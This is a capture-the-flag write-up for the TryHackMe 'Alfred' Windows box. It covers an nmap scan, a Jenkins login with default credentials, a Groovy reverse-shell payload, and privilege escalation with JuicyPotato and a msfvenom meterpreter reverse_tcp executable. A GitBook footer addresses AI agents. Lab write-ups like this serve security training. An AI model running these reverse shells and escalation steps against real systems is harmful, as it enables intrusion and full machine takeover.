> For the complete documentation index, see [llms.txt](https://0xa1mn.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xa1mn.gitbook.io/writeups/try-hack-me-thm/windows-boxes/alfred.md).

# Alfred

## Scanning

### nmap

```
root@ip-10-10-77-178:~# nmap -A -T4 -O 10.10.126.34

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-21 16:30 BST
Nmap scan report for ip-10-10-126-34.eu-west-1.compute.internal (10.10.126.34)
Host is up (0.00046s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
3389/tcp open  tcpwrapped
| ssl-cert: Subject: commonName=alfred
| Not valid before: 2021-09-20T15:27:46
|_Not valid after:  2022-03-22T15:27:46
8080/tcp open  http       Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 02:1A:CA:11:02:A3 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows 8.1 R1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE
HOP RTT     ADDRESS
1   0.46 ms ip-10-10-126-34.eu-west-1.compute.internal (10.10.126.34)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.09 seconds

```

*3 Ports open*

## Enumeration

### Port 80

![](/files/-Mk83hUlAF7K0-F90N11)

landing page after some enum no thing interesting except this mail `alfred@wayneenterprises.com`

### Port 8080

![](/files/-Mk83zjp-OfK5hLXsHbt)

Jenkins login page ... after some tries of default credentials `admin:admin`

Now we should find a way to execute reverse shell jenkins has this ability just copy me

![](/files/-Mk84l4iq1IGwTOB85hN)

![](/files/-Mk84viD0RSlLk-iJLBV)

![](/files/-Mk85-nb5JzPdZZzQH1G)

![](/files/-Mk85CeYkkHMEmBX6TZn)

## Initial Access

[**payload**](https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy)

```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

setup listener on attacker box `nc -nlvvp 8044`

run payload ...

![](/files/-Mk85qCa88hbowgTCZu_)

* [x] User shell

Recommended [Abusing Jenkins Groovy Script Console to get Shell](https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6)

## Privilege Escalation

![](/files/-Mk88C_8b9HkENbBsfXv)

we will use JuicyPotato&#x20;

download [executable](https://github.com/ohpe/juicy-potato/releases)

setup smb server on attacker box `smbserver.py kali .`

Download on victim machine `C:\Users\bruce\Desktop>copy \10.10.77.178\kali\JuicyPotato.exe JuicyPotato.exe`

we need to generate msf payload to gain reverse shell with system privilege

`msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=1234 -f exe -o rev1234.exe`

copy it to victim box in same way above

then setup handler for the above payload

`use exploit/multi/handler` \
`set PAYLOAD windows/meterpreter/reverse_tcp` \
`set LHOST 10.10.77.178` \
`set LPORT 1234 run`

run `C:\Users\bruce\Desktop>JuicyPotato.exe -t * -l 1234 -p C:\Users\bruce\Desktop\rev1234.exe`

![](/files/-Mk8KKz2nnJNA_9II86v)

* [x] &#x20;SYSTEM Shell

> to read root flag migrate to higher process&#x20;


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xa1mn.gitbook.io/writeups/try-hack-me-thm/windows-boxes/alfred.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
